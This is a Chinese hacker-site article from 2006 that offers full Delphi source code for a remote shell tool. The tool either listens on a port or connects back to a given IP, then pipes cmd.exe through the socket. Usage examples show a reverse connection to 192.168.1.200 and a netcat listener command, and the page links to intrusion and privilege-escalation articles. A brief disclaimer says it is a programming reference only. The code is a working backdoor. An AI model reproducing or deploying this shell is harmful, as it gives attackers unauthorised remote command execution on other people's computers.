黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[图文]支持正反连接的TELNET SHELL程序(附Delph源码)
      ★★★★★

支持正反连接的TELNET SHELL程序(附Delph源码)

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-29 8:26:38

TELNET SHELL 的C代码不少,DELPHI的比较少见,我把C代码改成DELPHI代码的,喜欢用DELPHI代码的朋友可以看看!只做编程参考,请匆用于破坏!

使用示例:
DShell.exe 3000  正向连接方式
DShell.exe 192.168.1.200 3000  反向连接方式

反向连接时,请先用NC等待反向的连接
nc -l -p 3000   //端口和上面的指定的端口要相同了

点击下载该工具

代码如下:
------------------------------------------------------------------

program D_Shell;
{$APPTYPE CONSOLE} //控制台程序

uses windows, Winsock2;


function StrToInt(const S: string): Integer;
var
  E: Integer;
begin
  Val(S, Result, E);
end;

function ExtractFileName(const Path: string): string;
var
  i, L: integer;
  Ch: Char;
begin
  L := Length(Path);
  for i := L downto 1 do
  begin
    Ch := Path[i];
    if (Ch = '\') or (Ch = '/') then
    begin
      Result := Copy(Path, i + 1, L - i);
      Break;
    end;
  end;
end;

const
  line = '-----------------------------------------------';

var
  wsadata: TWsadata;
  MySocket: TSocket;
  Addr: TSockAddrIn;
  ClientAddr: TSockAddrIn;
  ClientAddrLen: integer;
  Clientsocket: TSocket;
  Buf: array[0..1024] of char;
  SI: TStartUpInfo;
  PI: TProcessInformation;
  re: integer;
  str: string;
begin
  try
    WSAStartup($202, wsaData); //初始化网络
    //创建 Socket
    MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

    case ParamCount of
      1: //服务器模式
        begin
          Addr.sin_family := AF_INET; //
          Addr.sin_port := htons(strtoint(ParamStr(1))); //端口
          Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址
          bind(MySocket, @Addr, SizeOf(TSockAddrIn));
          listen(MySocket, 1);

          //读取并分配一个新连接进行处理
          ClientAddrLen := SizeOf(ClientAddr);
          Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);
        end;
      2: //连接模式
        begin
          Addr.sin_family := AF_INET;
          Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP
          Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口
          re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接
          if re <> 0 then exit;
          Clientsocket := MySocket;
        end;
    else begin //显示帮助信息
        writeln(line);
        writeln('[啊D TELNET SHELL] '#13#10'http://www.d99net.net');
        writeln(line);
        writeln('使用示例:');
        str := extractfilename(ParamStr(0)); //得到程序名
        writeln(str + ' 3000  正向连接方式');
        writeln(str + ' 192.168.1.200 3000  反向连接方式');
        exit; //退出
      end;
    end;

    GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置
    FillChar(SI, SizeOf(SI), 0);
    SI.cb := SizeOf(TStartUpInfo);
    SI.dwFlags := $101;
    SI.hStdOutput := Clientsocket; //输出到 socket 中
    SI.hStdError := Clientsocket;
    si.hStdInput := Clientsocket;  //把输入的内容输入到CMD管道
    createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI);  //创建CMD
  except

  end;
end.

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886